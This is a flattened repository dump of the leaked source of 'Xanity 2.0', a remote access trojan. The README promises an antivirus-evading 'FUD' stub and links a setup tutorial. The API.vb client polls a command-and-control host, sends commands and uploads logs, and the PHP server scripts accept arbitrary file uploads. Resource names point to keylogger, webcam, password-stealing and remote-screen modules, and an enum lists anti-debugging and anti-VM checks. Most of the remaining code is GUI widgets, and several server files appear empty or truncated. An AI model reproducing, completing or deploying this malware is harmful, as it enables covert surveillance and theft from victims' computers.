├── server-files ├── main.txt ├── delete.php ├── sendline.php ├── upload.php ├── share.php ├── newconnection.php └── closeconnection.php ├── Version 2.0 Final Release!.txt ├── xanity-2.0-src ├── Global.vb ├── AssemblyInfo.vb ├── Xanity_2._0.Audio.resources ├── Xanity_2._0.Form1.resources ├── Xanity_2._0.Webcam.resources ├── Xanity_2._0.misc.resources ├── Xanity_2._0.passes.resources ├── Xanity_2._0.MapView.resources ├── Xanity_2._0.newfile.resources ├── Xanity_2._0.Resources.resources ├── Xanity_2._0.keylogger.resources ├── Xanity_2._0.StressTester.resources ├── Xanity_2._0.remotescreen.resources ├── Xanity_2._0.SystemInformation.resources ├── Xanity_2 │ └── _0 │ │ ├── MouseState.vb │ │ ├── LicenseType.vb │ │ ├── My │ │ ├── MyComputer.vb │ │ ├── MyApplication.vb │ │ ├── Resources │ │ │ └── Resources.vb │ │ └── MySettings.vb │ │ ├── LicenseGlobal.vb │ │ ├── RuntimeProtection.vb │ │ ├── NewsPost.vb │ │ ├── API.vb │ │ ├── FlatLabel.vb │ │ ├── CookieClient.vb │ │ ├── Helpers.vb │ │ ├── FlatGroupBox.vb │ │ ├── FlatTreeView.vb │ │ ├── FlatCloseSI.vb │ │ ├── FlatClose.vb │ │ ├── FlatCloseAU.vb │ │ ├── FlatCloseKE.vb │ │ ├── FlatCloseWE.vb │ │ ├── FlatCloseRE.vb │ │ ├── FlatCloseSS.vb │ │ ├── FlatCloseSY.vb │ │ ├── FlatStatusBar.vb │ │ ├── FlatCloseMISC.vb │ │ ├── FlatClosePasses.vb │ │ ├── FlatCloseMapView.vb │ │ ├── FlatMini.vb │ │ ├── FlatContextMenuStrip.vb │ │ ├── FlatMax.vb │ │ ├── FlatButton.vb │ │ ├── FlatProgressBar.vb │ │ ├── FlatColorPalette.vb │ │ ├── MultipartForm.vb │ │ ├── FormSkin.vb │ │ ├── FlatListBox.vb │ │ ├── FlatComboBox.vb │ │ └── FlatNumeric.vb └── Xanity 2.0.vbproj ├── files.bin ├── bin └── Xanity 2.0.0.1.exe └── README.md /server-files/main.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Version 2.0 Final Release!.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /xanity-2.0-src/Global.vb: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /files.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/files.bin -------------------------------------------------------------------------------- /server-files/delete.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /bin/Xanity 2.0.0.1.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/bin/Xanity 2.0.0.1.exe -------------------------------------------------------------------------------- /xanity-2.0-src/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | ' Assembly Xanity 2.0, Version 2.0.0.1 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.Audio.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.Audio.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.Form1.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.Webcam.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.Webcam.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.misc.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.misc.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.passes.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.passes.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.MapView.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.MapView.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.newfile.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.newfile.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.Resources.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.keylogger.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.keylogger.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.StressTester.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.StressTester.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.remotescreen.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.remotescreen.resources -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2._0.SystemInformation.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/xanity-php-rat/HEAD/xanity-2.0-src/Xanity_2._0.SystemInformation.resources -------------------------------------------------------------------------------- /server-files/sendline.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/MouseState.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | 3 | Namespace Xanity_2._0 4 | Friend Enum MouseState As Byte 5 | ' Fields 6 | Block = 3 7 | Down = 2 8 | None = 0 9 | Over = 1 10 | End Enum 11 | End Namespace 12 | 13 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/LicenseType.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | 3 | Namespace Xanity_2._0 4 | Friend Enum LicenseType As Byte 5 | ' Fields 6 | Bronze = 1 7 | Diamond = 5 8 | Free = 0 9 | Gold = 3 10 | Platinum = 4 11 | Silver = 2 12 | End Enum 13 | End Namespace 14 | 15 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/My/MyComputer.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.Devices 2 | Imports System.CodeDom.Compiler 3 | Imports System.ComponentModel 4 | 5 | Namespace Xanity_2._0.My 6 | _ 7 | Friend Class MyComputer 8 | Inherits Computer 9 | End Class 10 | End Namespace 11 | 12 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/LicenseGlobal.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | 4 | Namespace Xanity_2._0 5 | _ 6 | Friend NotInheritable Class LicenseGlobal 7 | ' Fields 8 | Friend Shared LicenseInitialize As Boolean 9 | Friend Shared Seal As License = New License 10 | End Class 11 | End Namespace 12 | 13 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/RuntimeProtection.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | 3 | Namespace Xanity_2._0 4 | _ 5 | Friend Enum RuntimeProtection As Byte 6 | ' Fields 7 | Debuggers = 1 8 | DebuggersEx = 2 9 | FullScan = 15 10 | None = 0 11 | Parent = 8 12 | Timing = 4 13 | VirtualMachine = &H10 14 | End Enum 15 | End Namespace 16 | 17 | -------------------------------------------------------------------------------- /server-files/upload.php: -------------------------------------------------------------------------------- 1 | 0) { 6 | $uploadfile = $uploaddir."/". basename($_FILES['file']['name']); 7 | } else { 8 | $uploadfile = basename($_FILES['file']['name']); 9 | } 10 | if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { 11 | echo "1"; 12 | } 13 | else 14 | print_r($_FILES); 15 | } 16 | else { 17 | echo "0"; 18 | print_r($_FILES); 19 | } 20 | ?> -------------------------------------------------------------------------------- /server-files/share.php: -------------------------------------------------------------------------------- 1 | 0) { 6 | $uploadfile = $uploaddir."/". basename($_FILES['file']['name']); 7 | } else { 8 | $uploadfile = basename($_FILES['file']['name']); 9 | } 10 | if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { 11 | echo "1"; 12 | } 13 | else 14 | print_r($_FILES); 15 | } 16 | else { 17 | echo "0"; 18 | print_r($_FILES); 19 | } 20 | ?> -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Xanity 2.0 PHP RAT 2 | 3 | This is a xanity leak for those interested in malware research. 4 | 5 | It keeps the stub updated and FUD and with its built-in Scanner, that does not distribute, 6 | it will be FUD almost for a while. Xanity uses CodeDom to compile the Stub to a very low Size(49kb). 7 | This program was written in VB (.Net Framework required) and uses PHP to communicate with the servers, so this works without opening any port. 8 | 9 | The setup tutorial can be found here: 10 | https://www.youtube.com/watch?v=WUTzpeevEC4 11 | -------------------------------------------------------------------------------- /server-files/newconnection.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /server-files/closeconnection.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/NewsPost.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Runtime.InteropServices 3 | 4 | Namespace Xanity_2._0 5 | _ 6 | Friend Structure NewsPost 7 | Private ReadOnly _ID As Integer 8 | Private ReadOnly _Name As String 9 | Private ReadOnly _Time As DateTime 10 | Public ReadOnly Property ID As Integer 11 | Get 12 | Return Me._ID 13 | End Get 14 | End Property 15 | 16 | Public ReadOnly Property Name As String 17 | Get 18 | Return Me._Name 19 | End Get 20 | End Property 21 | 22 | Public ReadOnly Property Time As DateTime 23 | Get 24 | Return Me._Time 25 | End Get 26 | End Property 27 | 28 | Public Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object) 29 | Me = New NewsPost 30 | Me._ID = CInt(id) 31 | Me._Name = CStr(name) 32 | Me._Time = CDate(time) 33 | End Sub 34 | End Structure 35 | End Namespace 36 | 37 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/API.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.IO 3 | Imports System.Net 4 | 5 | Namespace Xanity_2._0 6 | Public Class API 7 | ' Methods 8 | Public Function check(ByVal host As String) As Object 9 | Dim reader As New StreamReader(WebRequest.Create((host & "/main.txt")).GetResponse.GetResponseStream) 10 | Return reader.ReadToEnd 11 | End Function 12 | 13 | Public Function checkok(ByVal host As String, ByVal file As String) As Object 14 | Dim reader As New StreamReader(WebRequest.Create((host & "/" & file)).GetResponse.GetResponseStream) 15 | Return (reader.ReadToEnd = "ok") 16 | End Function 17 | 18 | Public Sub delcmd(ByVal host As String, ByVal file As String) 19 | WebRequest.Create((host & "/delete.php?file=" & file)).GetResponse 20 | End Sub 21 | 22 | Public Sub delete(ByVal host As String, ByVal Str As String, ByVal file As String) 23 | WebRequest.Create(String.Concat(New String() { host, "/closeconnection.php?string=", Str, "&file=", file })).GetResponse 24 | End Sub 25 | 26 | Public Function getlogs(ByVal host As String, ByVal file As String, ByVal suffix As String) As Object 27 | Dim reader As New StreamReader(WebRequest.Create(String.Concat(New String() { host, "/", file, suffix, ".txt" })).GetResponse.GetResponseStream) 28 | Return reader.ReadToEnd 29 | End Function 30 | 31 | Public Function sendcmd(ByVal msg As String, ByVal host As String, ByVal file As String) As Object 32 | Dim reader As New StreamReader(WebRequest.Create(String.Concat(New String() { host, "/sendline.php?message=", msg, "&file=", file })).GetResponse.GetResponseStream) 33 | Return reader.ReadToEnd.ToString.Contains("Data Written") 34 | End Function 35 | 36 | Public Function sendlogs(ByVal host As String, ByVal file As String, ByVal msg As String, ByVal suffix As String) As Object 37 | Dim reader As New StreamReader(WebRequest.Create(String.Concat(New String() { host, "/sendline.php?file=", file, suffix, ".txt&message=", msg })).GetResponse.GetResponseStream) 38 | Return reader.ReadToEnd.ToString.Contains("Data Written") 39 | End Function 40 | 41 | End Class 42 | End Namespace 43 | 44 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatLabel.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.Diagnostics 4 | Imports System.Drawing 5 | Imports System.Runtime.CompilerServices 6 | Imports System.Windows.Forms 7 | 8 | Namespace Xanity_2._0 9 | Friend Class FlatLabel 10 | Inherits Label 11 | ' Methods 12 | Public Sub New() 13 | FlatLabel.__ENCAddToList(Me) 14 | Me.SetStyle(ControlStyles.SupportsTransparentBackColor, True) 15 | Me.Font = New Font("Segoe UI", 8!) 16 | Me.ForeColor = Color.White 17 | Me.BackColor = Color.Transparent 18 | Me.Text = Me.Text 19 | End Sub 20 | 21 | _ 22 | Private Shared Sub __ENCAddToList(ByVal value As Object) 23 | Dim list As List(Of WeakReference) = FlatLabel.__ENCList 24 | SyncLock list 25 | If (FlatLabel.__ENCList.Count = FlatLabel.__ENCList.Capacity) Then 26 | Dim index As Integer = 0 27 | Dim num3 As Integer = (FlatLabel.__ENCList.Count - 1) 28 | Dim i As Integer = 0 29 | Do While (i <= num3) 30 | Dim reference As WeakReference = FlatLabel.__ENCList.Item(i) 31 | If reference.IsAlive Then 32 | If (i <> index) Then 33 | FlatLabel.__ENCList.Item(index) = FlatLabel.__ENCList.Item(i) 34 | End If 35 | index += 1 36 | End If 37 | i += 1 38 | Loop 39 | FlatLabel.__ENCList.RemoveRange(index, (FlatLabel.__ENCList.Count - index)) 40 | FlatLabel.__ENCList.Capacity = FlatLabel.__ENCList.Count 41 | End If 42 | FlatLabel.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 43 | End SyncLock 44 | End Sub 45 | 46 | Protected Overrides Sub OnTextChanged(ByVal e As EventArgs) 47 | MyBase.OnTextChanged(e) 48 | Me.Invalidate 49 | End Sub 50 | 51 | 52 | ' Fields 53 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 54 | End Class 55 | End Namespace 56 | 57 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/CookieClient.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.Diagnostics 4 | Imports System.Net 5 | Imports System.Runtime.CompilerServices 6 | 7 | Namespace Xanity_2._0 8 | Friend NotInheritable Class CookieClient 9 | Inherits WebClient 10 | ' Methods 11 | Public Sub New() 12 | CookieClient.__ENCAddToList(Me) 13 | Me.Cookies = New CookieContainer 14 | End Sub 15 | 16 | _ 17 | Private Shared Sub __ENCAddToList(ByVal value As Object) 18 | Dim list As List(Of WeakReference) = CookieClient.__ENCList 19 | SyncLock list 20 | If (CookieClient.__ENCList.Count = CookieClient.__ENCList.Capacity) Then 21 | Dim index As Integer = 0 22 | Dim num3 As Integer = (CookieClient.__ENCList.Count - 1) 23 | Dim i As Integer = 0 24 | Do While (i <= num3) 25 | Dim reference As WeakReference = CookieClient.__ENCList.Item(i) 26 | If reference.IsAlive Then 27 | If (i <> index) Then 28 | CookieClient.__ENCList.Item(index) = CookieClient.__ENCList.Item(i) 29 | End If 30 | index += 1 31 | End If 32 | i += 1 33 | Loop 34 | CookieClient.__ENCList.RemoveRange(index, (CookieClient.__ENCList.Count - index)) 35 | CookieClient.__ENCList.Capacity = CookieClient.__ENCList.Count 36 | End If 37 | CookieClient.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 38 | End SyncLock 39 | End Sub 40 | 41 | Public Sub ClearCookies() 42 | Me.Cookies = New CookieContainer 43 | End Sub 44 | 45 | Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest 46 | Me.Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest) 47 | Me.Request.Timeout = &H1F40 48 | Me.Request.ReadWriteTimeout = &H7530 49 | Me.Request.KeepAlive = False 50 | Me.Request.CookieContainer = Me.Cookies 51 | Me.Request.Proxy = Nothing 52 | Return Me.Request 53 | End Function 54 | 55 | 56 | ' Fields 57 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 58 | Public Cookies As CookieContainer 59 | Private Request As HttpWebRequest 60 | End Class 61 | End Namespace 62 | 63 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/My/MyApplication.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.ApplicationServices 2 | Imports System 3 | Imports System.CodeDom.Compiler 4 | Imports System.Collections.Generic 5 | Imports System.ComponentModel 6 | Imports System.Diagnostics 7 | Imports System.Runtime.CompilerServices 8 | Imports System.Windows.Forms 9 | 10 | Namespace Xanity_2._0.My 11 | _ 12 | Friend Class MyApplication 13 | Inherits WindowsFormsApplicationBase 14 | ' Methods 15 | _ 16 | Public Sub New() 17 | MyBase.New(AuthenticationMode.Windows) 18 | MyApplication.__ENCAddToList(Me) 19 | Me.IsSingleInstance = False 20 | Me.EnableVisualStyles = True 21 | Me.SaveMySettingsOnExit = True 22 | Me.ShutdownStyle = ShutdownMode.AfterAllFormsClose 23 | End Sub 24 | 25 | _ 26 | Private Shared Sub __ENCAddToList(ByVal value As Object) 27 | Dim list As List(Of WeakReference) = MyApplication.__ENCList 28 | SyncLock list 29 | If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then 30 | Dim index As Integer = 0 31 | Dim num3 As Integer = (MyApplication.__ENCList.Count - 1) 32 | Dim i As Integer = 0 33 | Do While (i <= num3) 34 | Dim reference As WeakReference = MyApplication.__ENCList.Item(i) 35 | If reference.IsAlive Then 36 | If (i <> index) Then 37 | MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i) 38 | End If 39 | index += 1 40 | End If 41 | i += 1 42 | Loop 43 | MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index)) 44 | MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count 45 | End If 46 | MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 47 | End SyncLock 48 | End Sub 49 | 50 | _ 51 | Friend Shared Sub Main(ByVal args As String()) 52 | Try 53 | Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering) 54 | End Try 55 | MyProject.Application.Run(args) 56 | End Sub 57 | 58 | _ 59 | Protected Overrides Sub OnCreateMainForm() 60 | Me.MainForm = MyProject.Forms.Form1 61 | End Sub 62 | 63 | 64 | ' Fields 65 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 66 | End Class 67 | End Namespace 68 | 69 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/My/Resources/Resources.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.CodeDom.Compiler 5 | Imports System.ComponentModel 6 | Imports System.Diagnostics 7 | Imports System.Drawing 8 | Imports System.Globalization 9 | Imports System.IO 10 | Imports System.Resources 11 | Imports System.Runtime.CompilerServices 12 | 13 | Namespace Xanity_2._0.My.Resources 14 | _ 15 | Friend NotInheritable Class Resources 16 | ' Properties 17 | _ 18 | Friend Shared Property Culture As CultureInfo 19 | Get 20 | Return Resources.resourceCulture 21 | End Get 22 | Set(ByVal value As CultureInfo) 23 | Resources.resourceCulture = value 24 | End Set 25 | End Property 26 | 27 | Friend Shared ReadOnly Property document__arrow As Bitmap 28 | Get 29 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("document__arrow", Resources.resourceCulture)), Bitmap) 30 | End Get 31 | End Property 32 | 33 | Friend Shared ReadOnly Property folder__arrow As Bitmap 34 | Get 35 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("folder__arrow", Resources.resourceCulture)), Bitmap) 36 | End Get 37 | End Property 38 | 39 | Friend Shared ReadOnly Property gif_load As Bitmap 40 | Get 41 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("gif_load", Resources.resourceCulture)), Bitmap) 42 | End Get 43 | End Property 44 | 45 | Friend Shared ReadOnly Property gif_load2 As Bitmap 46 | Get 47 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("gif_load2", Resources.resourceCulture)), Bitmap) 48 | End Get 49 | End Property 50 | 51 | Friend Shared ReadOnly Property host As Bitmap 52 | Get 53 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("host", Resources.resourceCulture)), Bitmap) 54 | End Get 55 | End Property 56 | 57 | Friend Shared ReadOnly Property logo As Bitmap 58 | Get 59 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("logo", Resources.resourceCulture)), Bitmap) 60 | End Get 61 | End Property 62 | 63 | Friend Shared ReadOnly Property network_status As Bitmap 64 | Get 65 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("network_status", Resources.resourceCulture)), Bitmap) 66 | End Get 67 | End Property 68 | 69 | Friend Shared ReadOnly Property notify As UnmanagedMemoryStream 70 | Get 71 | Return Resources.ResourceManager.GetStream("notify", Resources.resourceCulture) 72 | End Get 73 | End Property 74 | 75 | _ 76 | Friend Shared ReadOnly Property ResourceManager As ResourceManager 77 | Get 78 | If Object.ReferenceEquals(Resources.resourceMan, Nothing) Then 79 | Dim manager2 As New ResourceManager("Xanity_2._0.Resources", GetType(Resources).Assembly) 80 | Resources.resourceMan = manager2 81 | End If 82 | Return Resources.resourceMan 83 | End Get 84 | End Property 85 | 86 | Friend Shared ReadOnly Property scanload As Bitmap 87 | Get 88 | Return DirectCast(RuntimeHelpers.GetObjectValue(Resources.ResourceManager.GetObject("scanload", Resources.resourceCulture)), Bitmap) 89 | End Get 90 | End Property 91 | 92 | 93 | ' Fields 94 | Private Shared resourceCulture As CultureInfo 95 | Private Shared resourceMan As ResourceManager 96 | End Class 97 | End Namespace 98 | 99 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/Helpers.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Drawing 4 | Imports System.Drawing.Drawing2D 5 | Imports System.Runtime.InteropServices 6 | 7 | Namespace Xanity_2._0 8 | _ 9 | Friend NotInheritable Class Helpers 10 | ' Methods 11 | Shared Sub New() 12 | Dim format As New StringFormat With { _ 13 | .Alignment = StringAlignment.Near, _ 14 | .LineAlignment = StringAlignment.Near _ 15 | } 16 | Helpers.NearSF = format 17 | format = New StringFormat With { _ 18 | .Alignment = StringAlignment.Center, _ 19 | .LineAlignment = StringAlignment.Center _ 20 | } 21 | Helpers.CenterSF = format 22 | End Sub 23 | 24 | Public Shared Function DrawArrow(ByVal x As Integer, ByVal y As Integer, ByVal flip As Boolean) As GraphicsPath 25 | Dim path2 As New GraphicsPath 26 | Dim num2 As Integer = 12 27 | Dim num As Integer = 6 28 | If flip Then 29 | path2.AddLine((x + 1), y, ((x + num2) + 1), y) 30 | path2.AddLine((x + num2), y, (x + num), ((y + num) - 1)) 31 | Else 32 | path2.AddLine(x, (y + num), (x + num2), (y + num)) 33 | path2.AddLine((x + num2), (y + num), (x + num), y) 34 | End If 35 | path2.CloseFigure 36 | Return path2 37 | End Function 38 | 39 | Public Shared Function RoundRec(ByVal Rectangle As Rectangle, ByVal Curve As Integer) As GraphicsPath 40 | Dim path As New GraphicsPath 41 | Dim width As Integer = (Curve * 2) 42 | Dim rect As New Rectangle(Rectangle.X, Rectangle.Y, width, width) 43 | path.AddArc(rect, -180!, 90!) 44 | rect = New Rectangle(((Rectangle.Width - width) + Rectangle.X), Rectangle.Y, width, width) 45 | path.AddArc(rect, -90!, 90!) 46 | rect = New Rectangle(((Rectangle.Width - width) + Rectangle.X), ((Rectangle.Height - width) + Rectangle.Y), width, width) 47 | path.AddArc(rect, 0!, 90!) 48 | rect = New Rectangle(Rectangle.X, ((Rectangle.Height - width) + Rectangle.Y), width, width) 49 | path.AddArc(rect, 90!, 90!) 50 | Dim point As New Point(Rectangle.X, ((Rectangle.Height - width) + Rectangle.Y)) 51 | Dim point2 As New Point(Rectangle.X, (Curve + Rectangle.Y)) 52 | path.AddLine(point, point2) 53 | Return path 54 | End Function 55 | 56 | Public Shared Function RoundRect(ByVal x As Single, ByVal y As Single, ByVal w As Single, ByVal h As Single, ByVal Optional r As Single = 0.3!, ByVal Optional TL As Boolean = True, ByVal Optional TR As Boolean = True, ByVal Optional BR As Boolean = True, ByVal Optional BL As Boolean = True) As GraphicsPath 57 | Dim width As Single = (Math.Min(w, h) * r) 58 | Dim num2 As Single = (x + w) 59 | Dim num3 As Single = (y + h) 60 | Dim path As New GraphicsPath 61 | Dim path2 As GraphicsPath = path 62 | If TL Then 63 | path2.AddArc(x, y, width, width, 180!, 90!) 64 | Else 65 | path2.AddLine(x, y, x, y) 66 | End If 67 | If TR Then 68 | path2.AddArc((num2 - width), y, width, width, 270!, 90!) 69 | Else 70 | path2.AddLine(num2, y, num2, y) 71 | End If 72 | If BR Then 73 | path2.AddArc((num2 - width), (num3 - width), width, width, 0!, 90!) 74 | Else 75 | path2.AddLine(num2, num3, num2, num3) 76 | End If 77 | If BL Then 78 | path2.AddArc(x, (num3 - width), width, width, 90!, 90!) 79 | Else 80 | path2.AddLine(x, num3, x, num3) 81 | End If 82 | path2.CloseFigure 83 | path2 = Nothing 84 | Return path 85 | End Function 86 | 87 | 88 | ' Fields 89 | Friend Shared _FlatColor As Color = Color.FromArgb(&H23, &HA8, &H6D) 90 | Friend Shared B As Bitmap 91 | Friend Shared CenterSF As StringFormat 92 | Friend Shared G As Graphics 93 | Friend Shared NearSF As StringFormat 94 | End Class 95 | End Namespace 96 | 97 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatGroupBox.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatGroupBox 13 | Inherits ContainerControl 14 | ' Methods 15 | Public Sub New() 16 | FlatGroupBox.__ENCAddToList(Me) 17 | Me._ShowText = True 18 | Me._BaseColor = Color.FromArgb(60, 70, &H49) 19 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.SupportsTransparentBackColor Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint)))), True) 20 | Me.DoubleBuffered = True 21 | Me.BackColor = Color.Transparent 22 | Dim size2 As New Size(240, 180) 23 | Me.Size = size2 24 | Me.Font = New Font("Segoe ui", 10!) 25 | End Sub 26 | 27 | _ 28 | Private Shared Sub __ENCAddToList(ByVal value As Object) 29 | Dim list As List(Of WeakReference) = FlatGroupBox.__ENCList 30 | SyncLock list 31 | If (FlatGroupBox.__ENCList.Count = FlatGroupBox.__ENCList.Capacity) Then 32 | Dim index As Integer = 0 33 | Dim num3 As Integer = (FlatGroupBox.__ENCList.Count - 1) 34 | Dim i As Integer = 0 35 | Do While (i <= num3) 36 | Dim reference As WeakReference = FlatGroupBox.__ENCList.Item(i) 37 | If reference.IsAlive Then 38 | If (i <> index) Then 39 | FlatGroupBox.__ENCList.Item(index) = FlatGroupBox.__ENCList.Item(i) 40 | End If 41 | index += 1 42 | End If 43 | i += 1 44 | Loop 45 | FlatGroupBox.__ENCList.RemoveRange(index, (FlatGroupBox.__ENCList.Count - index)) 46 | FlatGroupBox.__ENCList.Capacity = FlatGroupBox.__ENCList.Count 47 | End If 48 | FlatGroupBox.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 49 | End SyncLock 50 | End Sub 51 | 52 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 53 | Helpers.B = New Bitmap(Me.Width, Me.Height) 54 | Helpers.G = Graphics.FromImage(Helpers.B) 55 | Me.W = (Me.Width - 1) 56 | Me.H = (Me.Height - 1) 57 | Dim path As New GraphicsPath 58 | Dim path2 As New GraphicsPath 59 | Dim path3 As New GraphicsPath 60 | Dim rectangle As New Rectangle(8, 8, (Me.W - &H10), (Me.H - &H10)) 61 | Dim g As Graphics = Helpers.G 62 | g.SmoothingMode = SmoothingMode.HighQuality 63 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 64 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 65 | g.Clear(Me.BackColor) 66 | path = Helpers.RoundRec(rectangle, 8) 67 | g.FillPath(New SolidBrush(Me._BaseColor), path) 68 | path2 = Helpers.DrawArrow(&H1C, 2, False) 69 | g.FillPath(New SolidBrush(Me._BaseColor), path2) 70 | path3 = Helpers.DrawArrow(&H1C, 8, True) 71 | g.FillPath(New SolidBrush(Color.FromArgb(60, 70, &H49)), path3) 72 | If Me.ShowText Then 73 | Dim layoutRectangle As New Rectangle(&H10, &H10, Me.W, Me.H) 74 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Helpers._FlatColor), layoutRectangle, Helpers.NearSF) 75 | End If 76 | g = Nothing 77 | MyBase.OnPaint(e) 78 | 